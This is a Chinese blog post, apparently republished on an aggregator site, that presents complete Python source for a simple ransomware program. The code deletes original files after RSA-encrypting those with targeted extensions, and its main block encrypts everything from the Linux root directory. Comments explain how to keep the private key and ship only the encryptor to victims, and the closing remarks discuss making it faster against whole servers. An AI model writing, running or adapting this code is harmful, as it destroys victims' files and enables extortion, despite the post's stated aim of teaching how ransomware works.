Python实现简易勒索病毒

这篇具有很好参考价值的文章主要介绍了Python实现简易勒索病毒。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

一、勒索病毒

         简单来说,勒索病毒就是通过加密受害者电脑的本地数据,向受害者勒索赎金的恶意软件。加密勒索软件的核心是加密算法,我自己实现的勒索病毒使用的就是安全度高破解难度大的RSA加密算法。RSA是一种非对称公钥加密算法,依赖于大质数分解难题,通过公钥无法轻易破解私钥。此demo的核心思想就是在攻击者本地生成RSA公私钥,并把私钥保存起来,使用公钥加密受害者电脑上的数据。废话不多说,直接上代码。

二、Python简易勒索病毒

import base64
import os.path

import rsa

#生产1024位公私钥并保存为.pem  先在本地生成,将生成的公钥和加密程序一起打包发送到受害者即可
# pub, priv = rsa.newkeys(1024)
#
# pub = pub.save_pkcs1()
# with open(f"./keys/pubkey.pem", mode="wb") as file:
#     file.write(pub)
#
# priv = priv.save_pkcs1()
# with open(f"./keys/privkey.pem", mode="wb") as file:
#     file.write(priv)


#预定义想要加密的文件后缀名,可以自己选择
target_list_str = ".txt  .exe  .php  .pl  .7z  .rar  .m4a  .wma  .avi  .wmv  .csv  .d3dbsp  .sc2save  .sie  .sum  " \
                  ".ibank  .t13  .t12  .qdf  .gdb  .tax  .pkpass  .bc6  .bc7  .bkp  .qic  .bkf  .sidn  .sidd  .mddata " \
                  " .itl  .itdb  .icxs  .hvpl  .hplg  .hkdb  .mdbackup  .syncdb  .gho  .cas  .svg  .map  .wmo  .itm  " \
                  ".sb  .fos  .mcgame  .vdf  .ztmp  .sis  .sid  .ncf  .menu  .layout  .dmp  .blob  .esm  .vtf  " \
                  ".dazip  .fpk  .mlx  .kf  .iwd  .vpk  .tor  .psk  .rim  .w3x  .fsh  .ntl  .arch00  .lvl  .snx  .cfr " \
                  " .ff  .vpp_pc  .lrf  .m2  .mcmeta  .vfs0  .mpqge  .kdb  .db0  .mp3  .upx  .rofl  .hkx  .bar  .upk  " \
                  ".das  .iwi  .litemod  .asset  .forge  .ltx  .bsa  .apk  .re4  .sav  .lbf  .slm  .bik  .epk  " \
                  ".rgss3a  .pak  .big  .unity3d  .wotreplay  .xxx  .desc  .py  .m3u  .flv  .js  .css  .rb  .png  " \
                  ".jpeg  .p7c  .p7b  .p12  .pfx  .pem  .crt  .cer  .der  .x3f  .srw  .pef  .ptx  .r3d  .rw2  .rwl  " \
                  ".raw  .raf  .orf  .nrw  .mrwref  .mef  .erf  .kdc  .dcr  .cr2  .crw  .bay  .sr2  .srf  .arw  .3fr  " \
                  ".dng  .jpeg  .jpg  .cdr  .indd  .ai  .eps  .pdf  .pdd  .psd  .dbfv  .mdf  .wb2  .rtf  .wpd  .dxg  " \
                  ".xf  .dwg  .pst  .accdb  .mdb  .pptm  .pptx  .ppt  .xlk  .xlsb  .xlsm  .xlsx  .xls  .wps  .docm  " \
                  ".docx  .doc  .odb  .odc  .odm  .odp  .ods  .odt  .sql  .zip  .tar  .tar.gz  .tgz  .biz  .ocx  " \
                  ".html  .htm  .3gp  .srt  .cpp  .mid  .mkv  .mov  .asf  .mpeg  .vob  .mpg  .fla  .swf  .wav  .qcow2 " \
                  " .vdi  .vmdk  .vmx  .gpg  .aes  .ARC  .PAQ  .tar.bz2  .tbk  .bak  .djv  .djvu  .bmp  .cgm  .tif  " \
                  ".tiff  .NEF  .cmd  .class  .jar  .java  .asp  .brd  .sch  .dch  .dip  .vbs  .asm  .pas  .ldf  .ibd " \
                  " .MYI  .MYD  .frm  .dbf  .SQLITEDB  .SQLITE3  .asc  .lay6  .lay  .ms11  .sldm  " \
                  ".sldx  .ppsm  .ppsx  .ppam  .docb  .mml  .sxm  .otg  .slk  .xlw  .xlt  .xlm  .xlc  .dif  .stc  " \
                  ".sxc  .ots  .ods  .hwp  .dotm  .dotx .docm  .DOT  .max  .xml  .uot  .stw  .sxw  .ott  .csr  .key  " \


# 加密过程
def rsa_encrypt(filename):

    if filename.split(".")[-1] in target_list:
        with open("./pubkey.pem") as file:  #加载RSA公钥,准备加密
            pub = file.read()
            pub = rsa.PublicKey.load_pkcs1(pub)
        with open(filename, mode='rb') as file:
            data = file.read()

        # 删除原始文件
        os.remove(filename)
        res = []
        for i in range(0, len(data), 117):
            res.append(rsa.encrypt(data[i:i + 117], pub))
        byte_data = b''.join(res)
        byte_data = base64.b64encode(byte_data).decode()

        filename = filename + ".enc" #加密后的文件后缀名改为.enc
        with open(filename, mode='w') as file:
            file.write(byte_data)


def encrypt(file_path):
    if os.path.isdir(file_path):
        file_names = os.listdir(file_path)
        for file_name in file_names:
            file_name = os.path.join(file_path, file_name)
            if os.path.isdir(file_name):
                encrypt(file_name)
            else:
                rsa_encrypt(file_name)
    else:
        rsa_encrypt(file_path)


# 解密过程,当然如果当为攻击程序肯定不能发送到被害者服务器,此处是为了防止误操作将自己文件加密后的还原(或者确保受害者无法浏览到此代码也可一起发送)

def rsa_decrypt(file_name):
    if file_name.split(".")[-2] in target_list:
        with open("./privkey.pem", mode="rb") as file:
            priv = file.read()
            priv = rsa.PrivateKey.load_pkcs1(priv)
        with open(file_name, mode='r') as file:
            data = file.read()

        data = base64.b64decode(data.encode())

        res = []

        for i in range(0, len(data), 128):
            temp_plaintext = rsa.decrypt(data[i:i + 128], priv)
            res.append(temp_plaintext)

        last = b''.join(res)

        #删除加密文件
        os.remove(file_name)

        with open(file_name.replace(".enc", ""), mode='wb') as file:
            file.write(last)


def decrypt(file_path):
    if os.path.isdir(file_path):
        file_names = os.listdir(file_path)
        for file_name in file_names:
            file_name = os.path.join(file_path, file_name)
            if os.path.isdir(file_name):
                decrypt(file_name)
            else:
                rsa_decrypt(file_name)
    else:
        rsa_decrypt(file_path)


if __name__ == "__main__":
    target_list = []
    for i in target_list_str.split("."):
        target_list.append(i.strip())

    encrypt("/") #此处自定义想要加密的目录名称,我这里写成了linux下的根目录
    #decrypt("/")#解密加密后的文件

 三、总结

        此代码若加密单独文件夹下的文件或者加密少量文件效率还可以,但是如果加密整个大的服务器系统可能会导致卡死。我觉得解决办法可以是使用多线程,python中的threading进行多线程加密。同时可能存在当前用户权限不够导致文件无法加密的情况,这个问题目前还没想到解决办法,以后有时间再来研究一下。但此demo加密一些普通文件夹还是没有问题的,主要是了解一下勒索病毒的原理以及一些常用的加密算法。欢迎各路大佬留下评论交流!文章来源地址https://www.toymoban.com/news/detail-511592.html

到了这里,关于Python实现简易勒索病毒的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • .pings勒索病毒的威胁:如何应对.pings勒索病毒的突袭?

    引言: 在网络安全领域,.pings勒索病毒一直是不断演变的威胁之一。其变种的不断出现使得对抗这一数字威胁变得更加复杂。本节将深入剖析.pings勒索病毒变种的出现,以更好地理解其威胁性质和对策。如果受感染的数据确实有恢复的价值与必要性,您可添加我们的技术服务

    2024年01月20日
    浏览(49)
  • 勒索病毒最新变种.faust勒索病毒来袭,如何恢复受感染的数据?

    引言: 随着我们进入数字化时代,数据的重要性变得愈发显著,而网络安全威胁也日益增加。.faust勒索病毒是其中一种备受恶意分子钟爱的危险工具,它通过加密用户文件并勒索高额赎金来对个人和组织发起攻击。本文将深入探讨.faust勒索病毒的威胁,包括其工作原理、如何

    2024年02月21日
    浏览(47)
  • 勒索病毒最新变种.halo勒索病毒来袭,如何恢复受感染的数据?

    摘要: .halo勒索病毒已成为数字世界中的威胁,通过高级加密技术将文件锁定,并要求支付赎金。本文91数据恢复将深入介绍.halo勒索病毒的工作原理,提供解锁被感染文件的方法,以及探讨如何有效预防这一威胁。如果您正在经历勒索病毒数据恢复的困境,我们愿意与您分享

    2024年02月09日
    浏览(42)
  • 勒索病毒频发,信息安全事件如何破 --记两次勒索病毒数据恢复实例

    记录两次客户中勒索病毒恢复的情况。 2020年5月在公众号‘成文数科’写的文章,现在安全事故愈发频繁。故重新贴到CSDN来 勒索病毒的前世今生 2017年4月14日晚,黑客团体Shadow Brokers公布“永恒之蓝”工具,该工具可利用Windows系统的共享文件服务漏洞获取系统最高权限。不久

    2024年02月09日
    浏览(43)
  • Mallox勒索病毒最新变种.malox勒索病毒来袭,如何恢复受感染的数据?

    Mallox勒索病毒是一种针对计算机系统的恶意软件,能够加密受感染计算机上的文件。最近,新的Mallox病毒变种.malox勒索病毒被发现并引起了关注,.malox勒索病毒这个后缀已经是Mallox勒索病毒家族的第十几个升级变种了,这个后缀的加密占比更高,导致数据的修复难度再次升级

    2024年02月06日
    浏览(45)
  • 计算机服务器中了locked勒索病毒怎么处理,locked勒索病毒解密流程步骤

    随着网络技术的不断发展,越来越多的企业走向了数字化办公模式,利用网络可以开展各项工作业务,网络也为企业的生产运营发展带来了极大便利,大大加快了生产效率,但随之而来的网络数据安全问题成为众多企业关心的主要话题。近日,云天数据恢复中心接到多家企业

    2024年04月29日
    浏览(39)
  • 计算机服务器中了helper勒索病毒怎么办,helper勒索病毒解密流程步骤

    随着网络技术在企业中的不断应用,越来越多的企业离不开网络,网络为企业提供了极大便利,大大提升了生产运营效率,由此而产生的网络数据安全问题也成为了企业关心的主要话题。近期,云天数据恢复中心接到多家企业的求助,企业的计算机服务器遭到了helper勒索病毒

    2024年04月25日
    浏览(42)
  • 企业计算机服务器中了rmallox勒索病毒怎么办,rmallox勒索病毒解密流程

    对于众多的企业来说,通过网络开展各项工作业务已经成为常态,网络为企业的生产运营提供了极大便利,也大大加快了企业发展的步伐,但众多企业越来越重视企业发展中的核心数据安全问题。近期,云天数据恢复中心接到众多企业的求助,企业的计算机服务器遭到了rma

    2024年04月29日
    浏览(39)
  • 计算机服务器中了halo勒索病毒怎么办?Halo勒索病毒解密数据恢复

    众所周知,网络是一把双刃剑,在为人们提供便利的同时,也会带来网络安全威胁。对于企业来说,企业的发展离不开核心数据支撑,数据安全问题是众多企业关心的主要话题。近日,云天数据恢复中心接到很多企业的求助,企业的计算机服务器遭到了halo勒索病毒攻击,导致

    2024年02月20日
    浏览(48)
  • 企业计算机服务器中了rmallox勒索病毒怎么办?Rmallox勒索病毒解密流程工具

    在网络飞速发展的时代,企业离不开网络,网络为企业的生产运营提供了极大便利,加快了企业进步的步伐,依靠网络可以开展各项工作业务,通过网络数据整合,可以更方便企业办公。网络在为企业提供便利的同时也为企业的数据安全带来严重威胁。近期,云天数据恢复中

    2024年04月27日
    浏览(38)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包